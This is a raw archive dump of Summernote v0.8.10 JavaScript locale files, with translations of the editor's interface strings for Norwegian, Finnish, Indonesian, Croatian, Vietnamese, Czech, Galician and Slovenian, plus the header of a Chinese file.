!function(e){e.extend(e.summernote.lang,{"nb-NO":{font:{bold:"Fet",italic:"Kursiv",underline:"Understrek",clear:"Fjern formatering",height:"Linjehøyde",name:"Skrifttype",strikethrough:"Gjennomstrek",subscript:"Subscript",superscript:"Superscript",size:"Skriftstørrelse"},image:{image:"Bilde",insert:"Sett inn bilde",resizeFull:"Sett full størrelse",resizeHalf:"Sett halv størrelse",resizeQuarter:"Sett kvart størrelse",floatLeft:"Flyt til venstre",floatRight:"Flyt til høyre",floatNone:"Fjern flyt",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Dra et bilde hit",dropImage:"Drop image or Text",selectFromFiles:"Velg fra filer",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Bilde-URL",remove:"Fjern bilde",original:"Original"},video:{video:"Video",videoLink:"Videolenke",insert:"Sett inn video",url:"Video-URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion eller Youku)"},link:{link:"Lenke",insert:"Sett inn lenke",unlink:"Fjern lenke",edit:"Rediger",textToDisplay:"Visningstekst",url:"Til hvilken URL skal denne lenken peke?",openInNewWindow:"Åpne i nytt vindu"},table:{table:"Tabell",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Sett inn horisontal linje"},style:{style:"Stil",p:"p",blockquote:"Sitat",pre:"Kode",h1:"Overskrift 1",h2:"Overskrift 2",h3:"Overskrift 3",h4:"Overskrift 4",h5:"Overskrift 5",h6:"Overskrift 6"},lists:{unordered:"Punktliste",ordered:"Nummerert liste"},options:{help:"Hjelp",fullscreen:"Fullskjerm",codeview:"HTML-visning"},paragraph:{paragraph:"Avsnitt",outdent:"Tilbakerykk",indent:"Innrykk",left:"Venstrejustert",center:"Midtstilt",right:"Høyrejustert",justify:"Blokkjustert"},color:{recent:"Nylig valgt farge",more:"Flere farger",background:"Bakgrunnsfarge",foreground:"Skriftfarge",transparent:"Gjennomsiktig",setTransparent:"Sett gjennomsiktig",reset:"Nullstill",resetToDefault:"Nullstill til standard"},shortcut:{shortcuts:"Hurtigtaster",close:"Lukk",textFormatting:"Tekstformatering",action:"Handling",paragraphFormatting:"Avsnittsformatering",documentStyle:"Dokumentstil"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Angre",redo:"Gjør om"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-fi-FI.min.js000064400000006731151677331550011717 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"fi-FI":{font:{bold:"Lihavoitu",italic:"Kursiivi",underline:"Alleviivaa",clear:"Tyhjennä muotoilu",height:"Riviväli",name:"Kirjasintyyppi",strikethrough:"Yliviivaus",subscript:"Subscript",superscript:"Superscript",size:"Kirjasinkoko"},image:{image:"Kuva",insert:"Lisää kuva",resizeFull:"Koko leveys",resizeHalf:"Puolikas leveys",resizeQuarter:"Neljäsosa leveys",floatLeft:"Sijoita vasemmalle",floatRight:"Sijoita oikealle",floatNone:"Ei sijoitusta",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Vedä kuva tähän",selectFromFiles:"Valitse tiedostoista",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL-osoitteen mukaan",remove:"Poista kuva",original:"Original"},video:{video:"Video",videoLink:"Linkki videoon",insert:"Lisää video",url:"Videon URL-osoite?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion tai Youku)"},link:{link:"Linkki",insert:"Lisää linkki",unlink:"Poista linkki",edit:"Muokkaa",textToDisplay:"Näytettävä teksti",url:"Linkin URL-osoite?",openInNewWindow:"Avaa uudessa ikkunassa"},table:{table:"Taulukko",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Lisää vaakaviiva"},style:{style:"Tyyli",p:"Normaali",blockquote:"Lainaus",pre:"Koodi",h1:"Otsikko 1",h2:"Otsikko 2",h3:"Otsikko 3",h4:"Otsikko 4",h5:"Otsikko 5",h6:"Otsikko 6"},lists:{unordered:"Luettelomerkitty luettelo",ordered:"Numeroitu luettelo"},options:{help:"Ohje",fullscreen:"Koko näyttö",codeview:"HTML-näkymä"},paragraph:{paragraph:"Kappale",outdent:"Pienennä sisennystä",indent:"Suurenna sisennystä",left:"Tasaus vasemmalle",center:"Keskitä",right:"Tasaus oikealle",justify:"Tasaa"},color:{recent:"Viimeisin väri",more:"Lisää värejä",background:"Taustaväri",foreground:"Tekstin väri",transparent:"Läpinäkyvä",setTransparent:"Aseta läpinäkyväksi",reset:"Palauta",resetToDefault:"Palauta oletusarvoksi"},shortcut:{shortcuts:"Pikanäppäimet",close:"Sulje",textFormatting:"Tekstin muotoilu",action:"Toiminto",paragraphFormatting:"Kappaleen muotoilu",documentStyle:"Asiakirjan tyyli"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Kumoa",redo:"Toista"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-id-ID.min.js000064400000006574151677331550011720 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(a){a.extend(a.summernote.lang,{"id-ID":{font:{bold:"Tebal",italic:"Miring",underline:"Garis bawah",clear:"Bersihkan gaya",height:"Jarak baris",name:"Font Family",strikethrough:"Coret",subscript:"Subscript",superscript:"Superscript",size:"Ukuran font"},image:{image:"Gambar",insert:"Sisipkan gambar",resizeFull:"Ukuran penuh",resizeHalf:"Ukuran 50%",resizeQuarter:"Ukuran 25%",floatLeft:"Rata kiri",floatRight:"Rata kanan",floatNone:"Tidak ada perataan",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Tarik gambar pada area ini",dropImage:"Drop image or Text",selectFromFiles:"Pilih gambar dari berkas",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL gambar",remove:"Hapus Gambar",original:"Original"},video:{video:"Video",videoLink:"Link video",insert:"Sisipkan video",url:"Tautan video",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion atau Youku)"},link:{link:"Tautan",insert:"Tambah tautan",unlink:"Hapus tautan",edit:"Edit",textToDisplay:"Tampilan teks",url:"Tautan tujuan",openInNewWindow:"Buka di jendela baru"},table:{table:"Tabel",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Masukkan garis horizontal"},style:{style:"Gaya",p:"p",blockquote:"Kutipan",pre:"Kode",h1:"Heading 1",h2:"Heading 2",h3:"Heading 3",h4:"Heading 4",h5:"Heading 5",h6:"Heading 6"},lists:{unordered:"Pencacahan",ordered:"Penomoran"},options:{help:"Bantuan",fullscreen:"Layar penuh",codeview:"Kode HTML"},paragraph:{paragraph:"Paragraf",outdent:"Outdent",indent:"Indent",left:"Rata kiri",center:"Rata tengah",right:"Rata kanan",justify:"Rata kanan kiri"},color:{recent:"Warna sekarang",more:"Selengkapnya",background:"Warna latar",foreground:"Warna font",transparent:"Transparan",setTransparent:"Atur transparansi",reset:"Atur ulang",resetToDefault:"Kembalikan kesemula"},shortcut:{shortcuts:"Jalan pintas",close:"Keluar",textFormatting:"Format teks",action:"Aksi",paragraphFormatting:"Format paragraf",documentStyle:"Gaya dokumen",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Kembali",redo:"Ulang"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-hr-HR.min.js000064400000006730151677331550011744 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"hr-HR":{font:{bold:"Podebljano",italic:"Kurziv",underline:"Podvučeno",clear:"Ukloni stilove fonta",height:"Visina linije",name:"Font Family",strikethrough:"Precrtano",subscript:"Subscript",superscript:"Superscript",size:"Veličina fonta"},image:{image:"Slika",insert:"Ubaci sliku",resizeFull:"Puna veličina",resizeHalf:"Umanji na 50%",resizeQuarter:"Umanji na 25%",floatLeft:"Poravnaj lijevo",floatRight:"Poravnaj desno",floatNone:"Bez poravnanja",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Povuci sliku ovdje",dropImage:"Drop image or Text",selectFromFiles:"Izaberi iz datoteke",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Adresa slike",remove:"Ukloni sliku",original:"Original"},video:{video:"Video",videoLink:"Veza na video",insert:"Ubaci video",url:"URL video",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ili Youku)"},link:{link:"Veza",insert:"Ubaci vezu",unlink:"Ukloni vezu",edit:"Uredi",textToDisplay:"Tekst za prikaz",url:"Internet adresa",openInNewWindow:"Otvori u novom prozoru"},table:{table:"Tablica",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Ubaci horizontalnu liniju"},style:{style:"Stil",p:"pni",blockquote:"Citat",pre:"Kôd",h1:"Naslov 1",h2:"Naslov 2",h3:"Naslov 3",h4:"Naslov 4",h5:"Naslov 5",h6:"Naslov 6"},lists:{unordered:"Obična lista",ordered:"Numerirana lista"},options:{help:"Pomoć",fullscreen:"Preko cijelog ekrana",codeview:"Izvorni kôd"},paragraph:{paragraph:"Paragraf",outdent:"Smanji uvlačenje",indent:"Povećaj uvlačenje",left:"Poravnaj lijevo",center:"Centrirano",right:"Poravnaj desno",justify:"Poravnaj obostrano"},color:{recent:"Posljednja boja",more:"Više boja",background:"Boja pozadine",foreground:"Boja teksta",transparent:"Prozirna",setTransparent:"Prozirna",reset:"Poništi",resetToDefault:"Podrazumijevana"},shortcut:{shortcuts:"Prečice s tipkovnice",close:"Zatvori",textFormatting:"Formatiranje teksta",action:"Akcija",paragraphFormatting:"Formatiranje paragrafa",documentStyle:"Stil dokumenta",extraKeys:"Dodatne kombinacije"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Poništi",redo:"Ponovi"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-vi-VN.min.js000064400000006660151677331550011765 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"vi-VN":{font:{bold:"In Đậm",italic:"In Nghiêng",underline:"Gạch dưới",clear:"Bỏ định dạng",height:"Chiều cao dòng",name:"Phông chữ",strikethrough:"Gạch ngang",subscript:"Subscript",superscript:"Superscript",size:"Cỡ chữ"},image:{image:"Hình ảnh",insert:"Chèn",resizeFull:"100%",resizeHalf:"50%",resizeQuarter:"25%",floatLeft:"Trôi về trái",floatRight:"Trôi về phải",floatNone:"Không trôi",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Thả Ảnh ở vùng này",dropImage:"Drop image or Text",selectFromFiles:"Chọn từ File",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL",remove:"Xóa",original:"Original"},video:{video:"Video",videoLink:"Link đến Video",insert:"Chèn Video",url:"URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion và Youku)"},link:{link:"Link",insert:"Chèn Link",unlink:"Gỡ Link",edit:"Sửa",textToDisplay:"Văn bản hiển thị",url:"URL",openInNewWindow:"Mở ở Cửa sổ mới"},table:{table:"Bảng",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Chèn"},style:{style:"Kiểu chữ",p:"Chữ thường",blockquote:"Đoạn trích",pre:"Mã Code",h1:"H1",h2:"H2",h3:"H3",h4:"H4",h5:"H5",h6:"H6"},lists:{unordered:"Liệt kê danh sách",ordered:"Liệt kê theo thứ tự"},options:{help:"Trợ giúp",fullscreen:"Toàn Màn hình",codeview:"Xem Code"},paragraph:{paragraph:"Canh lề",outdent:"Dịch sang trái",indent:"Dịch sang phải",left:"Canh trái",center:"Canh giữa",right:"Canh phải",justify:"Canh đều"},color:{recent:"Màu chữ",more:"Mở rộng",background:"Màu nền",foreground:"Màu chữ",transparent:"trong suốt",setTransparent:"Nền trong suốt",reset:"Thiết lập lại",resetToDefault:"Trở lại ban đầu"},shortcut:{shortcuts:"Phím tắt",close:"Đóng",textFormatting:"Định dạng Văn bản",action:"Hành động",paragraphFormatting:"Định dạng",documentStyle:"Kiểu văn bản",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Lùi lại",redo:"Làm lại"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-cs-CZ.js000064400000011572151677331550011161 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'cs-CZ': {
      font: {
        bold: 'Tučné',
        italic: 'Kurzíva',
        underline: 'Podtržené',
        clear: 'Odstranit styl písma',
        height: 'Výška řádku',
        strikethrough: 'Přeškrtnuté',
        size: 'Velikost písma'
      },
      image: {
        image: 'Obrázek',
        insert: 'Vložit obrázek',
        resizeFull: 'Původní velikost',
        resizeHalf: 'Poloviční velikost',
        resizeQuarter: 'Čtvrteční velikost',
        floatLeft: 'Umístit doleva',
        floatRight: 'Umístit doprava',
        floatNone: 'Neobtékat textem',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Přetáhnout sem obrázek',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Vybrat soubor',
        url: 'URL obrázku',
        remove: 'Remove Image',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Odkaz videa',
        insert: 'Vložit video',
        url: 'URL videa?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion nebo Youku)'
      },
      link: {
        link: 'Odkaz',
        insert: 'Vytvořit odkaz',
        unlink: 'Zrušit odkaz',
        edit: 'Upravit',
        textToDisplay: 'Zobrazovaný text',
        url: 'Na jaké URL má tento odkaz vést?',
        openInNewWindow: 'Otevřít v novém okně'
      },
      table: {
        table: 'Tabulka',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Vložit vodorovnou čáru'
      },
      style: {
        style: 'Styl',
        p: 'Normální',
        blockquote: 'Citace',
        pre: 'Kód',
        h1: 'Nadpis 1',
        h2: 'Nadpis 2',
        h3: 'Nadpis 3',
        h4: 'Nadpis 4',
        h5: 'Nadpis 5',
        h6: 'Nadpis 6'
      },
      lists: {
        unordered: 'Odrážkový seznam',
        ordered: 'Číselný seznam'
      },
      options: {
        help: 'Nápověda',
        fullscreen: 'Celá obrazovka',
        codeview: 'HTML kód'
      },
      paragraph: {
        paragraph: 'Odstavec',
        outdent: 'Zvětšit odsazení',
        indent: 'Zmenšit odsazení',
        left: 'Zarovnat doleva',
        center: 'Zarovnat na střed',
        right: 'Zarovnat doprava',
        justify: 'Zarovnat oboustranně'
      },
      color: {
        recent: 'Aktuální barva',
        more: 'Další barvy',
        background: 'Barva pozadí',
        foreground: 'Barva písma',
        transparent: 'Průhlednost',
        setTransparent: 'Nastavit průhlednost',
        reset: 'Obnovit',
        resetToDefault: 'Obnovit výchozí'
      },
      shortcut: {
        shortcuts: 'Klávesové zkratky',
        close: 'Zavřít',
        textFormatting: 'Formátování textu',
        action: 'Akce',
        paragraphFormatting: 'Formátování odstavce',
        documentStyle: 'Styl dokumentu'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Krok vzad',
        redo: 'Krok vpřed'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-gl-ES.min.js000064400000007276151677331550011741 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"gl-ES":{font:{bold:"Negrita",italic:"Cursiva",underline:"Subliñado",clear:"Quitar estilo de fonte",height:"Altura de liña",name:"Fonte",strikethrough:"Riscado",superscript:"Superíndice",subscript:"Subíndice",size:"Tamaño da fonte"},image:{image:"Imaxe",insert:"Inserir imaxe",resizeFull:"Redimensionar a tamaño completo",resizeHalf:"Redimensionar á metade",resizeQuarter:"Redimensionar a un cuarto",floatLeft:"Flotar á esquerda",floatRight:"Flotar á dereita",floatNone:"Non flotar",shapeRounded:"Forma: Redondeado",shapeCircle:"Forma: Círculo",shapeThumbnail:"Forma: Marco",shapeNone:"Forma: Ningunha",dragImageHere:"Arrastrar unha imaxe ou texto aquí",dropImage:"Solta a imaxe ou texto",selectFromFiles:"Seleccionar desde os arquivos",maximumFileSize:"Tamaño máximo do arquivo",maximumFileSizeError:"Superaches o tamaño máximo do arquivo.",url:"URL da imaxe",remove:"Eliminar imaxe",original:"Original"},video:{video:"Vídeo",videoLink:"Ligazón do vídeo",insert:"Insertar vídeo",url:"URL do vídeo?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion, o Youku)"},link:{link:"Ligazón",insert:"Inserir Ligazón",unlink:"Quitar Ligazón",edit:"Editar",textToDisplay:"Texto para amosar",url:"Cara a que URL leva a ligazón?",openInNewWindow:"Abrir nunha nova xanela"},table:{table:"Táboa",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Inserir liña horizontal"},style:{style:"Estilo",normal:"Normal",blockquote:"Cita",pre:"Código",h1:"Título 1",h2:"Título 2",h3:"Título 3",h4:"Título 4",h5:"Título 5",h6:"Título 6"},lists:{unordered:"Lista desordenada",ordered:"Lista ordenada"},options:{help:"Axuda",fullscreen:"Pantalla completa",codeview:"Ver código fonte"},paragraph:{paragraph:"Parágrafo",outdent:"Menos tabulación",indent:"Máis tabulación",left:"Aliñar á esquerda",center:"Aliñar ao centro",right:"Aliñar á dereita",justify:"Xustificar"},color:{recent:"Última cor",more:"Máis cores",background:"Cor de fondo",foreground:"Cor de fuente",transparent:"Transparente",setTransparent:"Establecer transparente",reset:"Restaurar",resetToDefault:"Restaurar por defecto"},shortcut:{shortcuts:"Atallos de teclado",close:"Pechar",textFormatting:"Formato de texto",action:"Acción",paragraphFormatting:"Formato de parágrafo",documentStyle:"Estilo de documento",extraKeys:"Teclas adicionais"},help:{insertParagraph:"Inserir parágrafo",undo:"Desfacer última acción",redo:"Refacer última acción",tab:"Tabular",untab:"Eliminar tabulación",bold:"Establecer estilo negrita",italic:"Establecer estilo cursiva",underline:"Establecer estilo subliñado",strikethrough:"Establecer estilo riscado",removeFormat:"Limpar estilo",justifyLeft:"Aliñar á esquerda",justifyCenter:"Aliñar ao centro",justifyRight:"Aliñar á dereita",justifyFull:"Xustificar",insertUnorderedList:"Inserir lista desordenada",insertOrderedList:"Inserir lista ordenada",outdent:"Reducir tabulación do parágrafo",indent:"Aumentar tabulación do parágrafo",formatPara:"Mudar estilo do bloque a parágrafo (etiqueta P)",formatH1:"Mudar estilo do bloque a H1",formatH2:"Mudar estilo do bloque a H2",formatH3:"Mudar estilo do bloque a H3",formatH4:"Mudar estilo do bloque a H4",formatH5:"Mudar estilo do bloque a H5",formatH6:"Mudar estilo do bloque a H6",insertHorizontalRule:"Inserir liña horizontal","linkDialog.show":"Amosar panel ligazóns"},history:{undo:"Desfacer",redo:"Refacer"},specialChar:{specialChar:"CARACTERES ESPECIAIS",select:"Selecciona Caracteres especiais"}}})}(jQuery);lang/summernote-sl-SI.min.js000064400000007124151677331550011751 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"sl-SI":{font:{bold:"Krepko",italic:"Ležeče",underline:"Podčrtano",clear:"Počisti oblikovanje izbire",height:"Razmik med vrsticami",name:"Pisava",strikethrough:"Prečrtano",subscript:"Podpisano",superscript:"Nadpisano",size:"Velikost pisave"},image:{image:"Slika",insert:"Vstavi sliko",resizeFull:"Razširi na polno velikost",resizeHalf:"Razširi na polovico velikosti",resizeQuarter:"Razširi na četrtino velikosti",floatLeft:"Leva poravnava",floatRight:"Desna poravnava",floatNone:"Brez poravnave",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Sem povlecite sliko",dropImage:"Drop image or Text",selectFromFiles:"Izberi sliko za nalaganje",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL naslov slike",remove:"Odstrani sliko",original:"Original"},video:{video:"Video",videoLink:"Video povezava",insert:"Vstavi video",url:"Povezava do videa",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ali Youku)"},link:{link:"Povezava",insert:"Vstavi povezavo",unlink:"Odstrani povezavo",edit:"Uredi",textToDisplay:"Prikazano besedilo",url:"Povezava",openInNewWindow:"Odpri v novem oknu"},table:{table:"Tabela",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Vstavi horizontalno črto"},style:{style:"Slogi",p:"Navadno besedilo",blockquote:"Citat",pre:"Koda",h1:"Naslov 1",h2:"Naslov 2",h3:"Naslov 3",h4:"Naslov 4",h5:"Naslov 5",h6:"Naslov 6"},lists:{unordered:"Označen seznam",ordered:"Oštevilčen seznam"},options:{help:"Pomoč",fullscreen:"Celozaslonski način",codeview:"Pregled HTML kode"},paragraph:{paragraph:"Slogi odstavka",outdent:"Zmanjšaj odmik",indent:"Povečaj odmik",left:"Leva poravnava",center:"Desna poravnava",right:"Sredinska poravnava",justify:"Obojestranska poravnava"},color:{recent:"Uporabi zadnjo barvo",more:"Več barv",background:"Barva ozadja",foreground:"Barva besedila",transparent:"Brez barve",setTransparent:"Brez barve",reset:"Ponastavi",resetToDefault:"Ponastavi na privzeto"},shortcut:{shortcuts:"Bljižnice",close:"Zapri",textFormatting:"Oblikovanje besedila",action:"Dejanja",paragraphFormatting:"Oblikovanje odstavka",documentStyle:"Oblikovanje naslova",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Razveljavi",redo:"Uveljavi"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-zh-CN.min.js000064400000006220151677331550011735 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

